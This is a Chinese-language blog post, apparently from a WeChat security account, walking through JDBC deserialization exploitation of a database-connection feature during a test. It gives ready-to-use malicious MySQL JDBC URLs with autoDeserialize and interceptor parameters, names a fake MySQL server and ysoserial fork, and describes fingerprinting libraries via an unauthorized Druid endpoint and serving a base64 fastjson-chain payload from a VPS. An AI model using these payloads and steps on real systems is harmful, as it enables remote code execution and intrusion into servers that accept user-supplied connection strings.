JDBC反序列化利用思路
前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。
需要加交流群在最下方,后台回复“抽奖”可参与限时活动
还在学怎么挖通用漏洞和src吗?知识星球最后一次优惠,续费也有优惠私聊~~考证请加联系vx咨询
在一次测试中遇到了数据库连接功能,这种功能点一般会存在jdbc反序列化漏洞。
先试试打h2不出网利用链。该利用链需要对方服务器导入了h2依赖包才能打。执行ping dnslog命令
然后测试连接,发送请求,看起来并没有收到dnslog请求
下载地址:https://github.com/4ra1n/mysql-fake-server/
在url处写入(目标服务器JDBC Version6.x时使用)
jdbc:mysql://ip:port/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
(目标服务器JDBC Version8.x时使用)
jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
用户名处写入要打的urldns地址,密码可以随便写
接下来可以试试打可以执行命令的链,例如cc链,cb链等。
但是试了几个下来都没有成功执行命令,就是说目标服务器可能没有导入对应的依赖。(过程省略)
刚好bp插件帮我扫到了druid未授权漏洞,可以通过druid未授权看看服务器里的组件有什么,就可以判断打什么链了。
服务器导入的是commons-collections-3.2.2.jar版本,相较于之前的版本增加了一个安全检查,所以没办法直接打cc链。
目标服务器还有c3p0,但是这个链不太好打jdbc反序列化,需要的前置条件比较多。
又发现了目标服务器使用了fastjson,看来可以直接打fastjson链了。
https://github.com/Lotus6/ysoserial
将base64编码的payload在vps上,这里我放到了test文件里
再次创建数据库连接,将用户名处改为deser_CUSTOM
如果目标没有druid未授权,那么怎么知道目标服务器有什么链可以打呢?
可以通过urldns链判断目标有什么利用链,如果存在某个指定的类,就进行dnslog请求,从而判断服务器有什么链,具体原理这里不细讲,有兴趣的可以看这个文章了解。
https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA
https://github.com/kezibei/Urldns
和刚才的步骤相同,放到vps上面,过程省略。成功把目标服务器信息回显出来。
评论